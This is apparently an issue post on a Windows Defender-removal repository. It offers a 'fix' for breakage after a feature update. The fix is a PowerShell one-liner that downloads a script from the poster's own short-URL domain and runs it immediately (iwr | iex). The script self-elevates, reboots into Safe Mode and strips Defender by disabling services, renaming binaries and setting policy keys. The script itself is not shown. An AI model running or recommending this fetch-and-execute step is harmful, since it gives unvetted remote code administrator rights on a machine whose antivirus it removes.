[BUG] As everyone already knows, new windows feature upgrade breaks the app, so I have made a solution that SHOULD work for any future feature upgrade that breaks the repo! Enjoy!

I made a fix for this! Hope it helps somebody! No reinstall of windows nor third party antivirus installation messing up your system necessary!!! ------------------------------ # Defender Remover Helper 1.0 Hey guys! If you, like me, were struggling with removing Defender after the 25h2 (or newer) Windows feature update, I made a fix for the issue! Worked perfectly for me and I will be using it after every dumb feeature upgrade so long as it works! ## **How to run:** Run this one-liner in regular user-level PowerShell (self-elevates via UAC) ```powershell iwr -useb https://s.hfnp.dev/DRFix1 | iex ``` It will arm Safe Mode with Networking and ask you if you want to reboot. After you agree and reboot- phase 2 auto-runs, finishes the job, then asks you to reboot back into normal mode. Annnnnd just like that- windows defender is ONCE AGAIN BANISHED! _"BACK TO HELL YOU FOUL BEAST!"_ ## **How it works:** **Phase 1** does some prep to make sure that defender aint present in safe mode. **Phase 2** does the actual strip, it disables services, renames defender binaries to `.disabled`, writes policy registry keys. Once Phase 2 finishes it asks if you'd like to reboot back to normal windows and Defender should be fully gone. ## **Why I took the time to make this:** **I really respect this repository** and the amount of freedom it delivers to the end user. This repo had the balls to do what tools like sordum never did, to just say TO HELL WITH YOUR BS, MICROSOFT, GET IT OUTTA HERE! I find that incredibly badass. Microsoft seems to think we love being told exactly what to do and how to use their OS. I get that MS doesn't have that many power users, but if you trust your sources and know your machine, you can happily live without that abrasive, annoying nonsense. This is why I love this project and figured there must be some way to fix it. No thanks to the brain-dead responses saying to reinstall windows or do a dirty install. So glad this crap is fixed! ## **Source code:** https://s.hfnp.dev is my url shortening domain (a short url for a url shortener is a must!) that also sorta serves as a script pastebin, so if you click directly on either of the script URLs it will just show you the raw code. So here you go: - Phase 1 (arm): [DRFix1](https://s.hfnp.dev/DRFix1) - Phase 2 (strip): [DRFix2](https://s.hfnp.dev/DRFix2) P.S. I only hope that at least one person finds this helpful cuz I went thru extra steps to make it easily usable by others and cleaning up and all that, for the people this potentially helps, **I gotchu bb!** ### Enjoy!
